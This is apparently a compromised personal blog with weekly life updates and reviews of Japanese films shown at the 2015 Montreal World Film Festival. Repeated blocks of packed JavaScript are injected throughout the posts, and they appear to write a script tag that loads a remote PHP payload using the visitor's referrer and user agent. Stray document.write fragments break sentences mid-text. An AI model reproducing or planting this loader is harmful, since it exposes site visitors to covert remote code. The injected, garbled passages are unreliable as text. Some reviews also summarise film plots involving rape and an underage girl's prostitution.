Another busy week spent brooding about the craziness at work (still 555 weeks before retirement), document.write(“”); going to the hospital for another CT enterography for my wife and backing-up my computers to install macOS 10.12 Sierra on both my iMac and Mac Mini. Didn’t have much else on my mind.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdikr|var|u0026u|referrer|ezaer||js|php’.split(‘|’),0,{}))

To relax we finished watching
Dancing on the edge (Brit period drama about a black jazz band, part mystery and part social commentary on racism), the first episode of Maigret (Brit adaptation of Georges Simenon‘s police drama set in the ’50s Paris with Rowan Atkinson in the title role!!! It’s quite good once you’ve passed seeing Mr. Bean face. Now I understand why he never speaks in his sketches: he has a really serious, deep voice!) as well as the first two episodes of the second season of Poldark (yes, another Brit period drama).

And, of course, I still found a little time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across this week (in no particular order):

Funnies

Pearl Before Swine: Friday, May 27, 2016

[Reminds me of someone…]
Ben: Wednesday, June 1st, 2016

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Weekly notable news (W37-38)

The first two weeks of September proved to be rather challenging. First, document.write(“”); I was trying to see as many of the Japanese movies shown at the Montreal World Films Festival as I could despite the troubles that the festival was experiencing and the fact that the schedule was constantly changing. Then, my wife woke up in the middle of the night with excruciating abdominal pain and we ended up at the hospital’s emergency ward. They kept her for five days and performed several tests without being sure of the nature or cause of the problems. They found some sort of enteritis to the small intestine and a gastritis. She feels well now, but it is a worrying situation since we’re still waiting for the result of the biopsy and more tests are scheduled. She survived cancer once ten years ago, so we are waiting the results with apprehension.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnrht|var|u0026u|referrer|dkzeh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iihyi|var|u0026u|referrer|zrfay||js|php’.split(‘|’),0,{}))

It was tiring for me during that time because I had to shuttle back and forth between work (a.k.a the madhouse), the hospital and (once) the film festival. But the beginning of September also brought a few good news: Apple announced some new products as well as released updates, and I got a well over-due pay raise! Unfortunately, there’s still five-hundred-and-fifty-seven weeks left before I can retire from work and dedicate my entire time to my personal projects (like writing).

Despite all this, I found time to watch a few dvds at home with my wife. First, we watch Belle et Sébastien 2: L’Aventure continue. It’s a cute adventure dog movie, full of improbabilities but it also reminded me of the TV series I was watching when I was a kid. Then I watched Gods of Egypt (by myself because my wife doesn’t like sci-fi stuff), which tells — super-heroes style — the founding myth of Egypt where Horus must fight his uncle Set who killed his father Osiris in order to reign over Earth. Horus is helped by the thief Bek, who just want to save his lover Zaya. If you would removed the specials effects from this movie, it would have nothing left of interest…

Finally, I watch Hail, Caesar. It’s a star-laden film by the Coen brothers which poke fun of the Hollywood film industry in the 1950s while managing to recreate several of its archetypes: the peblum movies, the synchronized swimming and tap dancing movies, stunt-filled westerns, etc. The film follow studio manager Eddie Mannix (Josh Brolin) trying to hold production together while unmarried actress DeeAnna Moran (Scarlett Johansson) becomes pregnant and big star Baird Whitlock (George Clooney) is abducted by a conspiration of communists! Hilarious, beautifully written and an interesting window on the era.

As always I did my best to keep myself acquainted with the affairs of the world. So, let me share with you a few notable news & links that I came across in the last few weeks (in no particular order):

Apple new products

Funnies

Dilbert: Tuesday, May 17, 2016 / “Boss Figures Out A System”

[A-Ah! That’s what they are doing!]

Between Friends: Wednesday, May 18, 2016

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Weekly notable news (W36)

I always do my best to keep myself acquainted with the affairs of the world. So, document.write(“”); let me share with you a few notable news & links that I came across this week (in no particular order):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtbfs|var|u0026u|referrer|szdfe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|breet|var|u0026u|referrer|eheka||js|php’.split(‘|’),0,{}))

Revue de Presse du FFM

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Weekly notable news (week 34)

This last week was rather quiet and a good part of the notable news & links that I found interesting were related to the Montreal World Film Festival which is coming very soon. I’ve spent a lot of my spare time lately finishing my coverage from last year’s festival and preparing to cover its upcoming 40th anniversary edition.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibart|var|u0026u|referrer|zfndf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krydr|var|u0026u|referrer|dnanb||js|php’.split(‘|’),0,{}))

Lots of
people are bitching about the festival. Those people want a glamorous festival like Cannes or Toronto, document.write(“”); but they really don’t understand the nature of the Montreal’s festival. I am not saying that the MWFF is without flaws (there are aplenty) but I am quite satisfied with what we have here: a quiet, fan-oriented festival that showcase film as an art-form and a vehicle of culture for film-makers from any country, of any age and of various skill levels. Toronto is a commercial festival. I don’t want to see stars that I can see everyday on TV or movies that will be released in theatres two weeks later. I want to see great stories and beautiful movies that I cannot see anywhere else but the MWFF. And there is plenty of stars there too: actors and directors from Japan, Portugal, Iran, Turkey, to name just a few places, and from all over Europe. That’s good enough for me. I just want to enjoy myself, to be amazed and I really don’t care about the politics of it all. I can’t understand why our various level of government want to punish movie fans and not support such a great festival.

[ Traduire ]

Dear Deer

“A woman stares at a deserted exhibition in the local museum, document.write(“”); a place said to be haunted by the phantom of a deer, “Ryomo-Shika”… Twenty-five years earlier three siblings reported seeing the deer, becoming first famous, then infamous when their claim was debunked. The fallout was devastating. The second son, Yoshio, is now living in a psychiatric institution; Akiko, the unsociable youngest daughter, lives in the country with an older man; and the eldest son, Fujio, who has remained in town, is burdened with debt from the family’s failing business. Now, with their father dying, the three siblings along with their respective partners and friends, have returned home, their first reunion in many years. But time hasn’t dulled their rivalries and or their rancour. They find themselves once again at a crossroads in life.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfrdt|var|u0026u|referrer|dnebi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aybyi|var|u0026u|referrer|atabs||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I admit that I misunderstood the movie description in the program, so I thought it would be some sort of ghost story. Not at all.

When they were kids, siblings Fujio, Yoshio and Akiko saw a rare deer that was supposed to be extinct and took a blurry picture. But people thought it was an hoax and that they lied to attract attention or just misidentified a common deer. They were quite hurt no to be believed. On top of that, after their mother’s death, their father became quite abusive, so the younger brother and sister left their hometown and the older brother stayed to take care of the family business. He has to work hard to keep it (and the town) together despite serious economic problems as a big development company tries to buy off the land. The younger brother seem to have a mild case of obsessive-compulsive disorder as he seems to have internalize all his guilt and frustrations from the childhood. The younger sister is good looking and has always had her ways with men, but unfortunately she eloped with a loser. She is very selfish but she eventually soften. She has a very unhappy life in Tokyo.

Twenty-five years later, they come back to their hometown when their father become gravely ill. They all have been greatly affected by their childhood have serious psychological problems. The death of the father brings back to the surface all their issues and what stayed unsaid for a long time is being expressed making their return trip a cathartic experience that is finally freeing them from the weight that had kept them miserable for all those years.

This is a very beautiful and interesting movie. Japanese movies are always good at showing us the beauty of the countryside. The director said that he was inspired by the fact that people from the countryside and people from the city seem to have very different mentality and way of life.

Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

Film screened at the Montreal World Film Festival on September 3rd, 2015 (Cinema Quartier Latin 9, 11h00 – the theatre was filled only at 10% of its capacity) as part of the “First Film World Competition” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:

Dear Deer © 2015 Office Kiryu.

[ Traduire ]

Haman

“A tragic story of a girl who becomes a monster. Deeply in love, document.write(“”); Haruka decides to have sex with her boyfriend. But the results are catastrophic: she accidentally kills him. Traumatized, she flees the scene. Her cursed life has begun. Does she have any hope of escaping the malediction? A dark fantasy about life, sex and love. ”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftbzr|var|u0026u|referrer|dbbbi||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I was not expecting much from this movie. I thought it would be a Fantasia-style gory and sexual horror movie. I was surprised to discover I was a more subtler and meaningful fantastical tale.

Haruka is cursed. She goes to a love hotel to have sex for the first time with her boyfriend. What should have been a pleasant occasion turns into a nightmare when her boyfriend unexpectedly and painfully dies during intercourse. She has no idea what happened: she was enjoying herself on top of him when there’s suddenly a gush of blood as she appears to have ripped off her boyfriend’s penis. She flees the scene in horror. The next day, in the news, the police talks of a gruesome murder as the sex of the victim appears to have been bitten off in a very inhuman way.

She skips school and wanders around in a dazed state. Has she dreamed or hallucinated the whole ordeal? Is that a fantasy induced by teenage angst and sexual anxiety? Or is she really some sort of monster and it happened for real? Is that even possible to have teeth “down there”? As she wanders on the road, she is kidnapped and raped by a pervert, but she kills him too, by “biting” off his penis with her vagina. The curse is confirmed.

Eventually, she meets Yosuke — who is nice to her and helps her overcome the trauma. She also meets his sister (so she said but she ends up being a jealous impersonator stalking Yosuke). They starts dating but Haruka fears that if they go further she will kill him. However, she accepts to date him only if they have a sexless relationship. Of course, with time, Yosuke cannot endure such a sexless love and wants to have her even if he knows that it will probably kill him. A love to die for.

The director said he was inspired by the true story of Sada Abe — who killed her lover and kept his penis as a souvenir. Even if the story had already been adapted in several movies — the most famous being Ai no Korida / In the realm of the senses by Nagissa Oshima — it seemed to him to be a good starting point to talk about sex and love.

The movie was very low budget and was shot within twelve days with a crew of seven (all volunteers) but most of the work was done by Tetsuya Okabe (directing, script, editing, etc., even paying for the lunch of the crew!). The film looks pretty good for such a low budget production and the director succeeded to turn a subject of comedic horror into a thoughtful allegory.

The title, Haman (???), is a slang blend (or portemanteau) expression made from ? [Ha, tooth] and ???? [Omanko, vagina] meaning “toothed vagina”. I am not sure if the director was aware of this when he wrote the script (most probably), but the idea of the “vagina dentata” (in Latin) can be found in the folklore of many ancient cultures.

All in all, it was a good movie and I enjoyed it. It is amusing to see that the story ends up much more interesting by being treated through a more mainstream movie (with minimum gore and nudity–we see Haruka’s breast in only one scene) rather than as a comedic horror film.

Haman (??? / lit. “toothed vagina”): Japan, 2015, 95 min.; Dir./Scr./Ed.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

Film screened at the Montreal World Film Festival on September 2nd, 2015 (Cinema Quartier Latin 16, 20h30 – the theatre was filled only at 18% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:
Haman © 2015?????.

[ Traduire ]

The Next Generation Patlabor — Tokyo War

“Over the years since 1988, document.write(“”); the “Mobile Police PATLABOR” franchise in Japan has become a pioneer in multimedia, combining anime comics, videograms, films and novels. Until now the films have been animated. The story has now gone live-action… Labor is a robot specifically designed for heavy industry work. The rise of Labors has sparked a revolution in industry, but also an increase in crime. To combat these new Labor crime wave, the police have created a special unit: The Patrol Labor known as the Special Vehicles Section 2 (SV2). This is the birth of “Patlabor”. We are now in the 21st century and the Tokyo Metropolitan Police’s SV2 so-called Patlabor still looks out for misbehaving Labors, but Patlabor is no longer considered necessary because of its cost and care. When Tokyo is attacked by an organization of terrorists using stealth helicopters, SV2 is called in to neutralize the threat.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbdbt|var|u0026u|referrer|nztkb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktyrz|var|u0026u|referrer|atheb||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is a beautiful movie. The CGI seems so perfect that the only thing that looks out of place is the Labor themselves — they look so preposterous, like some old giant toys from another era; that was probably done on purpose.

Not surprisingly (considering it’s a movie directed by Mamoru Oshii), this is a Patlabor movie where we see actual labor action only a few minutes in the end. And, of course, the movie have the usual slow moments of politico-philosophical introspection also typical of Oshii’s movies. The director himself seems to make a cameo appearance in the movie, with his typical hat and his beloved basset hound dog.

However, I am not sure that anyone who is not already familiar with the Patlabor story could easily understand what’s happening in this movie, which seems to come closely after the second anime movie, and which is also the final segment of a 7-part series of live-action films! Even myself, who is well acquainted with the Patlabor universe, had trouble following sometimes (was the pilot of the helicopter the previous SV2 commander? Was she acting to seek some sort of social justice? I am not really sure…). Of course, if you take it strickly as an action movie (and disregards the political stuff) there is not much that you really need to understand to enjoy the movie.

In his introduction of the movie, before the screening, Oshii-San didn’t say much. However, he mentioned that he shot his previous film in Montreal (Garm Wars: The Last Druid — for more details on this movie you can check ANN, IMdB, Youtube or Wikipedia).

All in all, this movie offers a great photography, beautiful CGI, a nice near-future sci-fi setting and, as a bonus, it shows us parts of Tokyo that we are not used to see. But it has much more meaning if you are a Patlabor fan, of course.

The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 9, 21h30 – the theatre was filled only at 14% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie but there was no Q&A due to the late hour of the screening.

For more information you can visit the following websites:
The Next Generation Patlabor — Tokyo War © 2015 HEADGEAR / ”THE NEXT GENERATION -PATLABOR-” PARTNERS.

[ Traduire ]

Early Spring, Sakurajima

“Takashi Arimura had been working in Kyoto. Now that he’s reached the age of retirement he’s returned to his hometown, document.write(“”); Kagoshima. A beautiful city with a volcano overlooking it, but the vista can’t make up for the fact that life in retirement is depressing. With the encouragement of his wife, Kyoko, he takes up a new hobby — drawing. He picks a paintbrush for the first time. The world now looks very different. He now has a goal in life. Can he reach it?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsfan|var|u0026u|referrer|fasbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbese|var|u0026u|referrer|ztest||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie shows us the boring life of a retired elderly couple. With her husband’s retirement money, Kyoko can finally open her own very small movie theatre. And Takashi can start to paint again, but he feels unhappy and thinks he has no talent. Life seems not worth living and he feels like just killing time before death. He meets a fortune teller who somehow predicts him better days and encourages him to be more optimistic.

He finds a new fascination for the Sakurajima island and its active volcano, so he starts making many trips there to paint the volcano. He submit his painting for a local exposition but it is not selected. However, he has found a new joy and feels life is worth living again.

The movie was shot in cinéma-vérité style with very little dialogue and some weird angle shots. The pace is so slow that the story doesn’t seem to progress at all sometimes. The movie seems excruciatingly long despite that it’s only eighty-eight minutes long! The photography is good and gives us the opportunity to see the beautiful countryside of Sakurajima as well as the rather ordinary cityscape of Kagoshima. It represents the image of the real, everyday Japan which is somewhat rather refreshing.

Despite its shortcomings, the movie offer an interesting subject. More and more Japanese are living longer to enjoy their retirement, even on a merger revenue (this couple didn’t seem rich at all since they live very simply, in a very small house and his clothing have many patches). They must find hobbies to make their retiring enjoyable.

Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 16, 16h00 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Early Spring, Sakurajima © 2015 Skeleton Films.

[ Traduire ]

Blowing in the winds of Vietnam

“Misao Sasho teaches Japanese in Hanoi, document.write(“”); Vietnam. One day she receives a phone call from Japan informing her of her father’s passing. Upon returning to Japan for her father’s funeral, she realizes that her mother has deteriorated and is becoming senile. She decides to take her back to Vietnam. The new environment works wonders. Misao’s mother enjoys the company of Misao’s acquaintances. She is suddenly the centre of attention…”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|resra|var|u0026u|referrer|dzbzn||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is one of the two best movies I’ve seen at the MWFF in 2015.

Misao is teaching Japanese in Hanoi, Vietnam. When she returns to Tokyo for her father’s funeral, she realizes that her mother Alzheimer’s disease has gotten worse. She’ bored at a stranger’s funeral: her husband’s! Her step-mother cannot take care of her anymore so Misao decides to bring her back to Vietnam with her, despite the opposition of her family. “It will make her worse” or “it will kill her,” they say.

At first, it works out pretty well and, despite the language barrier, her mother is getting along with Misao’s friends, students and the people of the neighbourhood (mostly owners of the local cafe’s, the Sakura Hotel, Japanese bar, the programming director of the VoV radio station, as well as the staff of the Youth Theatre, and a Japanese expat who drives a bicycle taxi). Together, they all live several adventures like helping a young Japanese woman to find her grand-father’s Vietnamese family that he left behind after WWII or organizing a musical show starring a very old (and also Alzheimer’s sufferer) theatrical actress.

Misao is even reacquainted with an old friend from her college days — when they were protesting during the university uprisings of the ’60s. He takes a job as another bicycle taxi driver but has an accident while carrying Misao’s mother who gets seriously hurt. Feeling guilty, he helps taking care of the old women after her hospitalization, but he has to leave because of his job as a TV producer. However, Misao cannot take care of her mother alone. It is a vey demanding task and she gets sick herself because of it. This is quite a somber moment in the movie and we really feel the pain for her (it has particularly hit home for me because, at the time of the screening, I had recently experience a similar situation in my family).

In the end, the mother gets better (from her hip replacement NOT from the Alzheimer’s because you never get better from that, you can only slow it down a little). Misao’s students stage a musical around a Japanese folk song that can provide a sort of allegory for Misao’s situation. Apart from Misao’s mother post-accident despair, it a fell-good and up beat movie. We have to take one day at a time and enjoy life while we can — and not give up on our loved ones.

The movie not only want to create awareness on the fact that the increasingly aging population of Japan means that the society will have to deal more and more with the problem of elderly’s dementia, but also it wants to remind the Japanese of the close ties (and maybe responsibilities) that still bind them with Vietnam, which was one of their pre-WWII “colonies.”

One negative point: I was told by someone who speaks vietnamese that the language spoken by the Japanese actors (which they most certainly learned phonetically) was so terrible that it was impossible to understand.

It is a well-paced drama that offers lots of light-hearted moments and allows the viewers to enjoy not only the beautiful cityscape of Hanoi, but also the surrounding countryside.

I really enjoyed this beautifully made movie which provided an excellent entertainment while making us think about very serious subjects like alzheimer and wars in Vietnam.

Blowing in the winds of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 12, 21h30 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Blowing in the wind of Vietnam © 2015?Blowing in the wind of Vietnam?Production Committee.

[ Traduire ]

Blood Bead

“Tokita, document.write(“”); already into his middle age, has been teaching at a film school in Kyoto for a while. He would prefer to be directing films rather than teaching about them but it pays the bills and life isn’t bad. Indeed, he is having an affair with Yui, the pretty secretary of the film school. Still, the fact that he hasn’t been able to finish his script and find funding for his project nags him enormously. He is a filmmaker not a schoolteacher… Then, on the street, he runs into a striking young high school girl and his life changes. Not necessarily for the better. He is immediately smitten with Ritsuko. He begins to stalk her. He becomes delusional. His life itself becomes a film. And its ending has not been written.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysit|var|u0026u|referrer|sfhnz||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I enjoyed this movie (what’s not to like with a movie with lots of beautiful nudity?) but it’s a little hard to talk about it. I’ll do my best. The story is relatively simple and yet rather complex altogether. However, it’s always interesting when movie makers turn the camera on themselves.

Movie director Tokita (Eiji Okuda) is teaching at a film school in Kyoto. He has a rather good life with his mistress Yui, a secretary at the film school, but he would rather be making movies than teaching about them. However, he has not been able to finish a script in a while. He says that, as long as he is thinking about a script, he can still feel he is a director. He is currently working on a pinku eiga script largely inspired by his relationship with Yui.

Tokita is in his sixties and can hardly get an erection, particularly when he’s drunk, but it only makes him more obsess with sex. The title of the movie refers to the “Akadama” legend saying that a blood bead will come out to mark the very last ejaculation of a man.

One day, he notices a high school girl and starts following her, stalking her and becomes obsess by her. He imagines having an affair with her, rapping her even, but he is stuck and doesn’t know how to end his story. At some point, he discovers that the school girl prostitutes herself (she’s charging $700!). He succumbs to the temptation and sleeps with her, but feels disgusted with himself afterward. Seeing his increasing obsession for Ritsuko while typing the script, Yui decides to leave Tokita.

Tokita feels desperate but succeed to finish the script anyway and presents it to a production company which doesn’t sound very receptive. He pleads that it would be his last movie, and ask to please give him a chance! Tokita gets drunk but, as he receives an email from the production company saying that they agree to finance his movie on some conditions, he gets hit by a car and dies!

Once again we have here a movie that tackles the subject of the increasingly older population of Japan which reflects a serious preoccupation among the population. This time we are presented with the despair that sexual frustration and the worth of one’s legacy can provide to an elderly man.

Director Banmei Takahashi, who is himself not unfamiliar with pinku eiga, said in the Q&A that he thought young directors were not putting enough sex in their movies and he wanted to remedy that. He also said that he killed the main character at the end because one of his friends died that way and he wanted to make an homage to him.

During the course of the movie we follow both Tokita’s life, the story of his script as well as his own fantasies, and this makes it rather difficult sometimes to discern which is what. However, it is a good and interesting movie — albeit a little weird — that offers a reflection not only on Japanese cinema but also on the life of elderly men. And, of course, there’s plenty of sex scenes!

